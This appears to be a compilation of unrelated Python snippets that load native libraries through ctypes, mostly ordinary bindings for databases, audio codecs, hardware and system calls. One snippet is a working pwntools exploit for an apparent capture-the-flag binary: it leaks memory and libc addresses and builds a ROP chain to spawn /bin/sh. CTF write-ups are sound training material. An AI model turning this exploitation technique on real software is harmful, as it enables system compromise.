from matplotlib import pyplot as plt # noqa import ctypes from enum import IntEnum import statistics import matplotlib matplotlib.use('Agg') lib = ctypes.CDLL('./algo.so') NUM_TIME_RUNS = 3 TEST_FOR_Ns = [10 ** 2, 10 ** 4, 10 ** 5, 10 ** 6, 10 ** 7, 10 ** 8] class CtypesEnum(IntEnum): """A ctypes-compatible IntEnum superclass.""" @classmethod def from_param(cls, obj): return int(obj) class Algo(CtypesEnum): QUICK_SELECT = 1, SORT_SELECT = 2, lib.SelectTime.argtypes = [ctypes.c_size_t, Algo] lib.SelectTime.restype = ctypes.c_double def format_name(enum_val): return enum_val.name.replace('_', ' ').title()
CAN_LOCK = True except ImportError: CAN_LOCK = False try: import ctypes import ctypes.util CAN_FALLOCATE = True except ImportError: CAN_FALLOCATE = False fallocate = None if CAN_FALLOCATE: libc_name = ctypes.util.find_library('c') libc = ctypes.CDLL(libc_name) c_off64_t = ctypes.c_int64 c_off_t = ctypes.c_int try: _fallocate = libc.posix_fallocate64 _fallocate.restype = ctypes.c_int _fallocate.argtypes = [ctypes.c_int, c_off64_t, c_off64_t] except AttributeError, e: try: _fallocate = libc.posix_fallocate _fallocate.restype = ctypes.c_int _fallocate.argtypes = [ctypes.c_int, c_off_t, c_off_t] except AttributeError, e: CAN_FALLOCATE = False
# linux renameat2 # osx renamex_np # osx exchangedata # win MoveFileTransacted very few systems support this def swap_not_implemented(self, target): raise NotImplementedError('This OS has no atomic swap operation!') if sys.platform == 'linux': # windows will error on ctypes.CDLL without this # setup for calling renameat2 SYS_renameat2 = 316 # from /usr/include/asm/unistd_64.h RENAME_EXCHANGE = (1 << 1) # /usr/src/linux/include/uapi/linux/fs.h libc = ctypes.CDLL(None) rnat2_syscall = libc.syscall rnat2_syscall.restypes = ctypes.c_int # returns an int rnat2_syscall.argtypes = ( ctypes.c_int, # syscall number ctypes.c_int, # old dir fd ctypes.c_char_p, # oldpath ctypes.c_int, # new dir fd ctypes.c_char_p, # newpath ctypes.c_uint) # flags def swap_linux(self, target): """ use renameat2 to perform an atomic swap operation """ old_fd = os.open(self, 0) new_fd = os.open(target, 0) old_path = os.fspath(self).encode()
import copy from ..draw import arf_layout try: import matplotlib.cm import matplotlib.colors except ImportError: msg = "Error importing matplotlib module... graphviz_draw() will not work" warnings.filterwarnings("always", msg, ImportWarning) warnings.warn(msg, ImportWarning) raise try: libname = ctypes.util.find_library("c") libc = ctypes.CDLL(libname) if hasattr(libc, "open_memstream"): libc.open_memstream.restype = ctypes.POINTER(ctypes.c_char) except OSError: msg = "Error importing C standard library... graphviz_draw() will not work." warnings.filterwarnings("always", msg, ImportWarning) warnings.warn(msg, ImportWarning) pass try: libname = ctypes.util.find_library("gvc") if libname is None: raise OSError() libgv = ctypes.CDLL(libname, ctypes.RTLD_GLOBAL) # properly set the return types of certain functions ptype = ctypes.POINTER(ctypes.c_char)
PY3 = sys.version_info[0] == 3 try: xrange except NameError: xrange = range # pylint:disable=redefined-builtin def to_utf8(s): return s if isinstance(s, bytes) else s.encode("utf8") try: if_nametoindex = socket.if_nametoindex # as of Python 3.3 except AttributeError: _if_nametoindex = ctypes.CDLL(ctypes.util.find_library("c")).if_nametoindex def if_nametoindex(ifname): return _if_nametoindex(to_utf8(ifname)) ### Sockets / Network Interfaces class struct_packet_mreq(ctypes.Structure): # pylint:disable=too-few-public-methods _fields_ = ( ("mr_ifindex", ctypes.c_int), ("mr_type", ctypes.c_ushort), ("mr_alen", ctypes.c_ushort), ("mr_address", ctypes.c_ubyte * 8),
import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation import time import ctypes lib = ctypes.CDLL('lidar') lib.lidarScan.restype = ctypes.c_long # plt.ion() # fig = plt.figure() # ax = fig.add_subplot(111) # line1, = ax.plot([], [], 'r.') # Returns a tuple of line objects, thus the comma # ax.set_ylim([-5000,5000]) # ax.set_xlim([-5000,5000]) count = 0 while 1: n = lib.lidarScan(1, 0, 0) if n < 0: print "negative" continue data = np.zeros(n) for i in range(0, n): data[i] = lib.lidarScan(0, i, 0) th = np.arange(n) * 240.0 / n - 120 x = np.multiply(data, np.cos(th * 3.1415 / 180)) y = np.multiply(data, np.sin(th * 3.1415 / 180)) print x[n / 2] print count
# Parts of code (c) Leonid Evdokimov <*****@*****.**> # -- https://github.com/darkk/tcp_shutter/blob/master/tcp_shutter.py import ctypes import ctypes.util import ipaddress import os import socket libc = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True) libc.getsockopt.argtypes = [ ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_void_p ] libc.getsockname.argtypes = [ctypes.c_int, ctypes.c_void_p, ctypes.c_void_p] libc.getpeername.argtypes = [ctypes.c_int, ctypes.c_void_p, ctypes.c_void_p] class sockaddr(ctypes.Structure): _fields_ = ( ('sa_family', ctypes.c_ushort), ('sa_data', ctypes.c_uint8 * 14), ) @property def family(self): return self.sa_family class sockaddr_in(ctypes.Structure): _fields_ = ( ('sin_family', ctypes.c_ushort),
# # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import ctypes as ct lib = ct.CDLL("libbcc.so.0", use_errno=True) # keep in sync with bpf_common.h lib.bpf_module_create_b.restype = ct.c_void_p lib.bpf_module_create_b.argtypes = [ct.c_char_p, ct.c_char_p, ct.c_uint] lib.bpf_module_create_c.restype = ct.c_void_p lib.bpf_module_create_c.argtypes = [ ct.c_char_p, ct.c_uint, ct.POINTER(ct.c_char_p), ct.c_int ] lib.bpf_module_create_c_from_string.restype = ct.c_void_p lib.bpf_module_create_c_from_string.argtypes = [ ct.c_char_p, ct.c_uint, ct.POINTER(ct.c_char_p), ct.c_int ] lib.bpf_module_destroy.restype = None
# -*- coding: utf-8 -*- import ctypes from ctypes.util import find_library import constants from info import strerror libopus = ctypes.CDLL(find_library('opus')) c_int_pointer = ctypes.POINTER(ctypes.c_int) class Encoder(ctypes.Structure): """Opus encoder state. This contains the complete state of an Opus encoder. """ pass EncoderPointer = ctypes.POINTER(Encoder) _get_size = libopus.opus_encoder_get_size _get_size.argtypes = (ctypes.c_int, ) _get_size.restype = ctypes.c_int def get_size(channels): """Gets the size of an OpusEncoder structure."""
import ctypes import numpy as np import os script_dir = os.path.dirname(__file__) lib_path = os.path.join(script_dir, os.pardir, os.pardir, 'c_library', 'build', 'libbindings_demo.so') lib = ctypes.CDLL(lib_path) lib.gen_arr.restype = ctypes.POINTER(ctypes.c_int) lib.gen_arr.argtypes = [ctypes.c_int, ] arr_size = 1000000 data_p = lib.gen_arr(arr_size) class ArrayWrap: def __init__(self, ptr, shape): self.array = np.ctypeslib.as_array(ptr, shape=shape) self.__lib_path = os.path.join(script_dir, os.pardir, os.pardir, 'c_library', 'build', 'libbindings_demo.so') self.__ptr = ptr def __del__(self): print("Python: object destructor invoked") lib = ctypes.CDLL(self.__lib_path) lib.free_arr.argtypes = [ctypes.POINTER(ctypes.c_int),] lib.free_arr(self.__ptr) array_wrap = ArrayWrap(data_p, (arr_size, )) print(f"Shaped numpy array:\n {array_wrap.array}")
def __del__(self): print("Python: object destructor invoked") lib = ctypes.CDLL(self.__lib_path) lib.free_arr.argtypes = [ctypes.POINTER(ctypes.c_int),] lib.free_arr(self.__ptr)
def test_mem_2(): gdal.PushErrorHandler('CPLQuietErrorHandler') ds = gdal.Open('MEM:::') gdal.PopErrorHandler() assert ds is None, 'opening MEM dataset should have failed.' try: import ctypes except ImportError: pytest.skip() for libname in ['msvcrt', 'libc.so.6']: try: crt = ctypes.CDLL(libname) except OSError: crt = None if crt is not None: break if crt is None: pytest.skip() malloc = crt.malloc malloc.argtypes = [ctypes.c_size_t] malloc.restype = ctypes.c_void_p free = crt.free free.argtypes = [ctypes.c_void_p] free.restype = None # allocate band data array. width = 50 height = 3 p = malloc(width * height * 4) if p is None: pytest.skip() float_p = ctypes.cast(p, ctypes.POINTER(ctypes.c_float)) # build ds name. dsnames = [ 'MEM:::DATAPOINTER=0x%X,PIXELS=%d,LINES=%d,BANDS=1,DATATYPE=Float32,PIXELOFFSET=4,LINEOFFSET=%d,BANDOFFSET=0' % (p, width, height, width * 4), 'MEM:::DATAPOINTER=0x%X,PIXELS=%d,LINES=%d,DATATYPE=Float32' % (p, width, height) ] for dsname in dsnames: for i in range(width * height): float_p[i] = 5.0 ds = gdal.Open(dsname) if ds is None: free(p) pytest.fail('opening MEM dataset failed.') chksum = ds.GetRasterBand(1).Checksum() if chksum != 750: print(chksum) free(p) pytest.fail('checksum failed.') ds.GetRasterBand(1).Fill(100.0) ds.FlushCache() if float_p[0] != 100.0: print(float_p[0]) free(p) pytest.fail('fill seems to have failed.') ds = None free(p)
keyDirectObject=B('----') typeAEList=B('list') typeChar=B('TEXT') typeAlias=B('alis') highLevelEventMask=1024 kHighLevelEvent=23 import ctypes from Carbon import AE from Carbon import Evt from Carbon import File carbon = ctypes.CDLL('/System/Library/Carbon.framework/Carbon') print carbon.RunCurrentEventLoop def _get_argvemulator(): """argvemulator - create sys.argv from OSA events. Used by applets that want unix-style arguments. """ class ArgvCollector: """A minimal FrameWork.Application-like class""" def __init__(self): self.quitting = 0
import ctypes lib = ctypes.CDLL('./libstep02.so') print lib.add1(5)
class CTaosInterface(object): libtaos = ctypes.CDLL('libtaos.so') libtaos.taos_fetch_fields.restype = ctypes.POINTER(TaosField) libtaos.taos_init.restype = None libtaos.taos_connect.restype = ctypes.c_void_p libtaos.taos_use_result.restype = ctypes.c_void_p libtaos.taos_fetch_row.restype = ctypes.POINTER(ctypes.c_void_p) libtaos.taos_errstr.restype = ctypes.c_char_p libtaos.taos_subscribe.restype = ctypes.c_void_p libtaos.taos_consume.restype = ctypes.c_void_p libtaos.taos_fetch_lengths.restype = ctypes.c_void_p def __init__(self, config=None): ''' Function to initialize the class @host : str, hostname to connect @user : str, username to connect to server @password : str, password to connect to server @db : str, default db to use when log in @config : str, config directory @rtype : None ''' if config is None: self._config = ctypes.c_char_p(None) else: try: self._config = ctypes.c_char_p(config.encode('utf-8')) except AttributeError: raise AttributeError("config is expected as a str") if config != None: CTaosInterface.libtaos.taos_options(3, self._config) CTaosInterface.libtaos.taos_init() @property def config(self): """ Get current config """ return self._config def connect(self, host=None, user="******", password="******", db=None, port=0): ''' Function to connect to server @rtype: c_void_p, TDengine handle ''' # host try: _host = ctypes.c_char_p(host.encode( "utf-8")) if host != None else ctypes.c_char_p(None) except AttributeError: raise AttributeError("host is expected as a str") # user try: _user = ctypes.c_char_p(user.encode("utf-8")) except AttributeError: raise AttributeError("user is expected as a str") # password try: _password = ctypes.c_char_p(password.encode("utf-8")) except AttributeError: raise AttributeError("password is expected as a str") # db try: _db = ctypes.c_char_p( db.encode("utf-8")) if db != None else ctypes.c_char_p(None) except AttributeError: raise AttributeError("db is expected as a str") # port try: _port = ctypes.c_int(port) except TypeError: raise TypeError("port is expected as an int") connection = ctypes.c_void_p( CTaosInterface.libtaos.taos_connect(_host, _user, _password, _db, _port)) if connection.value == None: print('connect to TDengine failed') # sys.exit(1) else: print('connect to TDengine success') return connection @staticmethod def close(connection): '''Close the TDengine handle ''' CTaosInterface.libtaos.taos_close(connection) print('connection is closed') @staticmethod def query(connection, sql): '''Run SQL @sql: str, sql string to run @rtype: 0 on success and -1 on failure ''' try: return CTaosInterface.libtaos.taos_query( connection, ctypes.c_char_p(sql.encode('utf-8'))) except AttributeError: raise AttributeError("sql is expected as a string") # finally: # CTaosInterface.libtaos.close(connection) @staticmethod def affectedRows(connection): """The affected rows after runing query """ return CTaosInterface.libtaos.taos_affected_rows(connection) @staticmethod def subscribe(connection, restart, topic, sql, interval): """Create a subscription @restart boolean, @sql string, sql statement for data query, must be a 'select' statement. @topic string, name of this subscription """ return ctypes.c_void_p( CTaosInterface.libtaos.taos_subscribe( connection, 1 if restart else 0, ctypes.c_char_p(topic.encode('utf-8')), ctypes.c_char_p(sql.encode('utf-8')), None, None, interval)) @staticmethod def consume(sub): """Consume data of a subscription """ result = ctypes.c_void_p(CTaosInterface.libtaos.taos_consume(sub)) fields = [] pfields = CTaosInterface.fetchFields(result) for i in range(CTaosInterface.libtaos.taos_num_fields(result)): fields.append({ 'name': pfields[i].name.decode('utf-8'), 'bytes': pfields[i].bytes, 'type': ord(pfields[i].type) }) return result, fields @staticmethod def unsubscribe(sub, keepProgress): """Cancel a subscription """ CTaosInterface.libtaos.taos_unsubscribe(sub, 1 if keepProgress else 0) @staticmethod def useResult(connection): '''Use result after calling self.query ''' result = ctypes.c_void_p( CTaosInterface.libtaos.taos_use_result(connection)) fields = [] pfields = CTaosInterface.fetchFields(result) for i in range(CTaosInterface.fieldsCount(connection)): fields.append({ 'name': pfields[i].name.decode('utf-8'), 'bytes': pfields[i].bytes, 'type': ord(pfields[i].type) }) return result, fields @staticmethod def fetchBlock(result, fields): pblock = ctypes.c_void_p(0) num_of_rows = CTaosInterface.libtaos.taos_fetch_block( result, ctypes.byref(pblock)) if num_of_rows == 0: return None, 0 isMicro = (CTaosInterface.libtaos.taos_result_precision(result) == FieldType.C_TIMESTAMP_MICRO) blocks = [None] * len(fields) fieldL = CTaosInterface.libtaos.taos_fetch_lengths(result) fieldLen = [ ele for ele in ctypes.cast(fieldL, ctypes.POINTER(ctypes.c_int)) [:len(fields)] ] for i in range(len(fields)): data = ctypes.cast(pblock, ctypes.POINTER(ctypes.c_void_p))[i] if data == None: blocks[i] = [None] * num_of_rows continue if fields[i]['type'] not in _CONVERT_FUNC: raise DatabaseError("Invalid data type returned from database") blocks[i] = _CONVERT_FUNC[fields[i]['type']](data, num_of_rows, fieldLen[i], isMicro) return blocks, abs(num_of_rows) @staticmethod def freeResult(result): CTaosInterface.libtaos.taos_free_result(result) result.value = None @staticmethod def fieldsCount(connection): return CTaosInterface.libtaos.taos_field_count(connection) @staticmethod def fetchFields(result): return CTaosInterface.libtaos.taos_fetch_fields(result) # @staticmethod # def fetchRow(result, fields): # l = [] # row = CTaosInterface.libtaos.taos_fetch_row(result) # if not row: # return None # for i in range(len(fields)): # l.append(CTaosInterface.getDataValue( # row[i], fields[i]['type'], fields[i]['bytes'])) # return tuple(l) # @staticmethod # def getDataValue(data, dtype, byte): # ''' # ''' # if not data: # return None # if (dtype == CTaosInterface.TSDB_DATA_TYPE_BOOL): # return ctypes.cast(data, ctypes.POINTER(ctypes.c_bool))[0] # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_TINYINT): # return ctypes.cast(data, ctypes.POINTER(ctypes.c_byte))[0] # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_SMALLINT): # return ctypes.cast(data, ctypes.POINTER(ctypes.c_short))[0] # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_INT): # return ctypes.cast(data, ctypes.POINTER(ctypes.c_int))[0] # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_BIGINT): # return ctypes.cast(data, ctypes.POINTER(ctypes.c_long))[0] # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_FLOAT): # return ctypes.cast(data, ctypes.POINTER(ctypes.c_float))[0] # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_DOUBLE): # return ctypes.cast(data, ctypes.POINTER(ctypes.c_double))[0] # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_BINARY): # return (ctypes.cast(data, ctypes.POINTER(ctypes.c_char))[0:byte]).rstrip('\x00') # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_TIMESTAMP): # return ctypes.cast(data, ctypes.POINTER(ctypes.c_long))[0] # elif (dtype == CTaosInterface.TSDB_DATA_TYPE_NCHAR): # return (ctypes.cast(data, ctypes.c_char_p).value).rstrip('\x00') @staticmethod def errno(connection): """Return the error number. """ return CTaosInterface.libtaos.taos_errno(connection) @staticmethod def errStr(connection): """Return the error styring """ return CTaosInterface.libtaos.taos_errstr(connection).decode('utf-8')
''' filename : test.py brief : Used for test the algrothm to compute agent' new velocity in simulator. ''' import ctypes so = ctypes.CDLL('./build/src/libRVO.so') import math import numpy as np def setpreferv(pos_x, pos_y, goal_x, goal_y, pre_vel): x_relative = goal_x - pos_x y_relative = goal_y - pos_y distance = math.sqrt(x_relative * x_relative + y_relative * y_relative) if distance > 1.0: pre_vel[0] = x_relative / distance pre_vel[1] = y_relative / distance else: pre_velx = x_relative pre_vely = y_relative def reach_goal(Agent_num, Pos_x, Pos_y, Goal_x, Goal_y, Radius): for i in range(0, Agent_num): x_relative = Goal_x[i] - Pos_x[i] y_relative = Goal_y[i] - Pos_y[i] distance = x_relative * x_relative + y_relative * y_relative if distance > Radius * Radius: return False return True
# --- Default to 3D if geometry is not setup yet. try: _prob_lo = geometry.prob_lo _coord_sys = geometry.coord_sys except AttributeError: geometry_dim = '3d' else: if _coord_sys == 0: geometry_dim = '%dd' % len(_prob_lo) elif _coord_sys == 1: geometry_dim = 'rz' else: raise Exception('Undefined coordinate system %d' % _coord_sys) del _prob_lo, _coord_sys _libc = ctypes.CDLL(_find_library('c')) try: libwarpx = ctypes.CDLL( os.path.join(_get_package_root(), "libwarpx%s.so" % geometry_dim)) except OSError: raise Exception( 'libwarpx%s.so was not installed. It can be installed by running "make" in the Python directory of WarpX' % geometry_dim) dim = libwarpx.warpx_SpaceDim() # our particle data type _p_struct = [(d, 'f8') for d in 'xyz'[:dim]] + [('id', 'i4'), ('cpu', 'i4')] _p_dtype = np.dtype(_p_struct, align=True)
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import os import ctypes from xclbin_binding import * libc = ctypes.CDLL(os.environ['XILINX_XRT'] + "/lib/libxrt_core.so") xclDeviceHandle = ctypes.c_void_p class xclDeviceInfo2(ctypes.Structure): # "_fields_" is a required keyword _fields_ = [ ("mMagic", ctypes.c_uint), ("mName", ctypes.c_char*256), ("mHALMajorVersion", ctypes.c_ushort), ("mHALMinorVersion", ctypes.c_ushort), ("mVendorId", ctypes.c_ushort), ("mDeviceId", ctypes.c_ushort), ("mSubsystemId", ctypes.c_ushort), ("mSubsystemVendorId", ctypes.c_ushort),
import sys as _sys import ctypes as _ctypes # Select library if _sys.platform == 'win32': try: _library = _ctypes.CDLL('ftd2xx64.dll') except FileNotFoundError: print('Unable to find D2XX64 DLL. Fallback to D2XX32.') try: _library = _ctypes.CDLL('ftd2xx.dll') except FileNotFoundError: raise FileNotFoundError('Unable to find D2XX DLL. Please make sure ftd2xx.dll or ftd2xx64.dll is in the path.') elif _sys.platform.startswith('linux'): """Not implemented""" raise NotImplementedError() elif _sys.platform == 'darwin': """Not implemented""" raise NotImplementedError() # Typedefs STRING = _ctypes.c_char_p DWORD = _ctypes.c_uint32 ULONG = _ctypes.c_uint32 USHORT = _ctypes.c_uint16 SHORT = _ctypes.c_uint16 UCHAR = _ctypes.c_ubyte WORD = _ctypes.c_uint16 WCHAR = _ctypes.c_uint16
return [] def system_bell(*args): try: from AppKit import NSBeep #@UnresolvedImport NSBeep() return True except: return False #if there is an easier way of doing this, I couldn't find it: try: import ctypes Carbon_ctypes = ctypes.CDLL( "/System/Library/Frameworks/Carbon.framework/Carbon") except: Carbon_ctypes = None def _sizetotuple(s): return int(s.width), int(s.height) def _recttotuple(r): return tuple( int(v) for v in (r.origin.x, r.origin.y, r.size.width, r.size.height)) def get_double_click_time(): try:
# XXX check that version.VERSION is what this script was installed for ## Apply global fixes: # the following line is to fix python-zsi 2.0 and thus lyrics in ubuntu: # https://bugs.launchpad.net/ubuntu/+source/zsi/+bug/208855 sys.path.append('/usr/lib/python2.5/site-packages/oldxml') # hint for gnome.init to set the process name to 'sonata' if platform.system() == 'Linux': sys.argv[0] = 'sonata' # apply as well: try: import ctypes libc = ctypes.CDLL('libc.so.6') PR_SET_NAME = 15 libc.prctl(PR_SET_NAME, sys.argv[0], 0, 0, 0) except Exception: # if it fails, it fails pass ## Apply locale and translation: from sonata import misc misc.setlocale() # let gettext install _ as a built-in for all modules to see # XXX what's the correct way to find the localization? try: gettext.install('sonata', os.path.join(
# -*- coding: utf-8 -*- # Description: cpuidle netdata python.d module # Author: Steven Noonan (tycho) import glob import os import platform import time from base import SimpleService import ctypes syscall = ctypes.CDLL('libc.so.6').syscall # default module values (can be overridden per job in `config`) # update_every = 2 class Service(SimpleService): def __init__(self, configuration=None, name=None): prefix = os.getenv('NETDATA_HOST_PREFIX', "") if prefix.endswith('/'): prefix = prefix[:-1] self.sys_dir = prefix + "/sys/devices/system/cpu" self.schedstat_path = prefix + "/proc/schedstat" SimpleService.__init__(self, configuration=configuration, name=name) self.order = [] self.definitions = {} self._orig_name = "" self.assignment = {} def __gettid(self): # This is horrendous. We need the *thread id* (not the *process id*),
def load_library(self, path, flags=0): cdll = ctypes.CDLL(path, flags) return CTypesLibrary(self, cdll)
def exploit(): # Uncolorize setup for easy parsing p.recv = uncolorize(p.recv) # Load libc libc = ctypes.CDLL("libc.so.6") # Get &wopr p.recvuntil("LAUNCH SESSION - ") wopr = int(p.recvuntil("]=", drop=True)) log.info("WOPR : {}".format(hex(wopr))) # Bypass check #1 p.sendlineafter("MENU SELECTION: ", "1") p.sendlineafter("INSERT LAUNCH KEY: ", "\x00" * 0x80) # Free chunk at #3 p.sendlineafter("MENU SELECTION: ", "3") p.sendlineafter("PLEASE CONFIRM LAUNCH SESSION #:", "") p.sendlineafter("PRESS ENTER TO RETURN TO MENU ", "") # Overwrite wopr->challenge3->success_code chunk with wopr->challenge2->enc_user # We need to find a plaintext which encrypted results in p32(0x31337) * 8 # This will overwrite the challenge3->success_code bypassing the check # for key #3 log.info("Overwriting #3 success code through #2 ...") iv = flat([0x0FEEDFACF, 0xDEADC0DE, 0xBABECAFE, 0xA55B00B]) key = "A" * 16 enc = AES.new(key, AES.MODE_CBC, iv) plaintext = enc.decrypt(p32(0x31337) * 8) p.sendlineafter("MENU SELECTION: ", "2") p.sendlineafter("ENTER AES-128 CRYPTO KEY: ", enhex(key)) p.sendlineafter("ENTER LENGTH OF DATA (16 OR 32): ", "32") p.sendlineafter("ENTER DATA TO ENCRYPT: ", plaintext) p.sendlineafter("MENU SELECTION: ", "3") p.sendlineafter("YOUR RESPONSE:", "") p.sendlineafter("PRESS ENTER TO RETURN TO MENU ", "") # Send key #2 log.info("Submitting #2") key = "4e96e75bd2912e31f3234f6828a4a897" data = "KING CROWELL".ljust(16, "\x00") log.info("Key (previously leaked) : {}".format(key)) p.sendlineafter("MENU SELECTION: ", "2") p.sendlineafter("ENTER AES-128 CRYPTO KEY: ", key) p.sendlineafter("ENTER LENGTH OF DATA (16 OR 32): ", "16") p.sendlineafter("ENTER DATA TO ENCRYPT: ", data) # Program nuke def create_payload(s, target_value): pad_len = 4 - (len(s) % 4) s += "A" * pad_len words = unpack_many(s, word_size=32) remaining = 0x7f - len(words) current_value = 0 for word in words: current_value ^= word if remaining % 2 == 0: s += p32(current_value) s += p32(target) * (remaining - 1) else: s += p32(current_value ^ target) * (remaining) return s def generate_write_at_offset(s, offset): result = "I" * offset for c in s: result += "S{}I".format(c) return result def generate_read_at_offset(offset, size=4): result = "I" * offset result += "OI" * size return result log.info("Programming nuke ... ") p.sendlineafter("MENU SELECTION: ", "4") checksum = 0xCAC380CD ^ 0xBADC0DED ^ 0xACC3D489 target = checksum ^ u32("\x00END") log.info("Target checksum : {}".format(hex(target))) # Leak binary base payload = generate_read_at_offset(132) + "R" code = enhex(create_payload(payload, target)) log.info("Executing code ...") p.sendlineafter("ENTER CYBER NUKE TARGETING CODE AS HEX STRING:", code) p.sendlineafter("PRESS ENTER TO RETURN TO MENU ", "") # Retrieve binary base p.sendlineafter("MENU SELECTION: ", "CONFIRM") p.recvuntil("CYBER NUKE TARGETING STATUS: ") base = int(p.recvline(), 16) p.recvuntil("CYBER NUKE TARGETING STATUS: ") base += int(p.recvline(), 16) << 8 p.recvuntil("CYBER NUKE TARGETING STATUS: ") base += int(p.recvline(), 16) << 16 p.recvuntil("CYBER NUKE TARGETING STATUS: ") base += int(p.recvline(), 16) << 24 base -= binary.symbols['detonate_nuke'] log.info("Base : {}".format(hex(base))) # Re-program nuke format_string = "%14$p %10$p" printf = base + binary.plt['printf'] log.info("Printf : {}".format(hex(printf))) scanf = base + binary.plt['scanf'] log.info("Scanf : {}".format(hex(scanf))) payload = generate_write_at_offset(format_string, 0) payload += generate_write_at_offset(p32(printf), 0x84 - len(format_string)) payload += "DOOMR" code = enhex(create_payload(payload, target)) log.info("Executing code ...") p.sendlineafter("ENTER CYBER NUKE TARGETING CODE AS HEX STRING:", code) p.recvuntil("PROGRAMMING COMPLETE\n") [p.recvline() for i in range(len(format_string) + 4)] leaks = p.recvline().split() stdin = int(leaks[0], 16) stack = int(leaks[1], 16) - 0x020d98 log.info("Stack : {}".format(hex(stack))) log.info("STDIN (libc) : {}".format(hex(stdin))) # libc = stdin - 0x1b25a0 # LOCAL libc = stdin - 0x1aac20 # REMOTE log.info("libc base : {}".format(hex(libc))) # execve = libc + 0x0b07e0 # LOCAL execve = libc + 0xb5be0 # REMOTE log.info("Execve : {}".format(hex(execve))) # binsh = libc + 0x15b9ab # LOCAL binsh = libc + 0x160a24 # REMOTE log.info("/bin/sh : {}".format(hex(binsh))) # Re-program nuke rop = p32(execve) + p32(0) + p32(binsh) payload = generate_write_at_offset(rop, 0) payload += generate_write_at_offset(p32(base + 0x2cd4), 0x84 - len(rop)) payload += "DOOMR" code = enhex(create_payload(payload, target)) log.info("Executing code ...") p.sendlineafter("ENTER CYBER NUKE TARGETING CODE AS HEX STRING:", code) # Overwrite stack p.interactive()
import platform import sys VENDOR_ID = 0x2354 DEVICE_ID = 0x2222 HIDAPI_LIBRARY_PATH = os.environ.get('HIDAPI_LIB_PATH', './') PING_FREQUENCY_SECONDS = 2.0 # seconds # Detect which operating system is present and load corresponding library system = platform.system() if system == 'Windows': if sys.maxsize > 2**32: hid_api = ctypes.CDLL(os.path.join(HIDAPI_LIBRARY_PATH, "hidapi64.dll")) else: hid_api = ctypes.CDLL(os.path.join(HIDAPI_LIBRARY_PATH, "hidapi32.dll")) elif system == 'Linux': if sys.maxsize > 2**32: hid_api = ctypes.CDLL(os.path.join(HIDAPI_LIBRARY_PATH, "libhidapi64.so")) else: hid_api = ctypes.CDLL(os.path.join(HIDAPI_LIBRARY_PATH, "libhidapi32.so" )) elif system == 'Darwin': hid_api = ctypes.CDLL(os.path.join(HIDAPI_LIBRARY_PATH, "libhidapi.dylib")) else: hid_api = ctypes.CDLL(os.path.join(HIDAPI_LIBRARY_PATH, "libhidapipi.so")) def _inherit_docstring(cls):
if with_load_library_flags: kernel32.AddDllDirectory.restype = ctypes.c_void_p kernel32.LoadLibraryExW.restype = ctypes.c_void_p for dll_path in dll_paths: if sys.version_info >= (3, 8): os.add_dll_directory(dll_path) elif with_load_library_flags: res = kernel32.AddDllDirectory(dll_path) if res is None: err = ctypes.WinError(ctypes.get_last_error()) err.strerror += f' Error adding "{dll_path}" to the DLL directories.' raise err try: ctypes.CDLL('vcruntime140.dll') ctypes.CDLL('msvcp140.dll') if cuda_version not in ('9.2', '10.0'): ctypes.CDLL('vcruntime140_1.dll') except OSError: print('''Microsoft Visual C++ Redistributable is not installed, this may lead to the DLL load failure. It can be downloaded at https://aka.ms/vs/16/release/vc_redist.x64.exe''') dlls = glob.glob(os.path.join(th_dll_path, '*.dll')) path_patched = False for dll in dlls: is_loaded = False if with_load_library_flags: res = kernel32.LoadLibraryExW(dll, None, 0x00001100) last_error = ctypes.get_last_error() if res is None and last_error != 126:
def _run_decoder(self): try: self.sock.settimeout(0.5) self.sock.connect(("127.0.0.1", self.port)) except: traceback.print_exc() return 1 self._receive_info() lib_file_list = os.listdir(self.lib_path) def get_lib_full_path(keyword): for i in lib_file_list: if keyword in i: return os.path.join(self.lib_path, i) print("Could not find runtime %s at %s" % (keyword, self.lib_path)) return None avutil_lib = get_lib_full_path("avutil") swresample_lib = get_lib_full_path("swresample") avcodec_lib = get_lib_full_path("avcodec") avformat_lib = get_lib_full_path("avformat") if None in [avutil_lib, swresample_lib, avcodec_lib, avformat_lib]: return -2 lib_avutil = ctypes.CDLL(avutil_lib) lib_swresample = ctypes.CDLL(swresample_lib) lib_avcodec = ctypes.CDLL(avcodec_lib) lib_avformat = ctypes.CDLL(avformat_lib) lib_avformat.av_register_all() def clean_decoder(): if self.frame_ptr: # print("Free frame") lib_avutil.av_free(self.frame_ptr) self.frame_ptr = 0 if self.codec_ctx_ptr: # print("Free avcodec") lib_avcodec.avcodec_close(self.codec_ctx_ptr) self.codec_ctx_ptr = 0 if self.format_ctx_ptr: # print("Free avformat") lib_avformat.avformat_close_input( ctypes.byref(self.format_ctx_ptr)) self.format_ctx_ptr = 0 self.sock.close() find_decoder = lib_avcodec.avcodec_find_decoder_by_name find_decoder.restype = ctypes.POINTER(AVCodecContext) decoder_list = [b'h264_mmal', b'h264'] for decoder in decoder_list: codec_ptr = find_decoder(ctypes.c_char_p(decoder)) if codec_ptr: print("Found %s decoder" % decoder.decode('utf8')) break else: print("H.264 decoder not found") return 1 alloc_context = lib_avcodec.avcodec_alloc_context3 alloc_context.restype = ctypes.POINTER(AVCodecContext) self.codec_ctx_ptr = alloc_context(codec_ptr) if not self.codec_ctx_ptr: print("Could not allocate decoder context") clean_decoder() return 2 ret = lib_avcodec.avcodec_open2(self.codec_ctx_ptr, codec_ptr, None) if ret < 0: print("Could not open H.264 decoder") clean_decoder() return 3 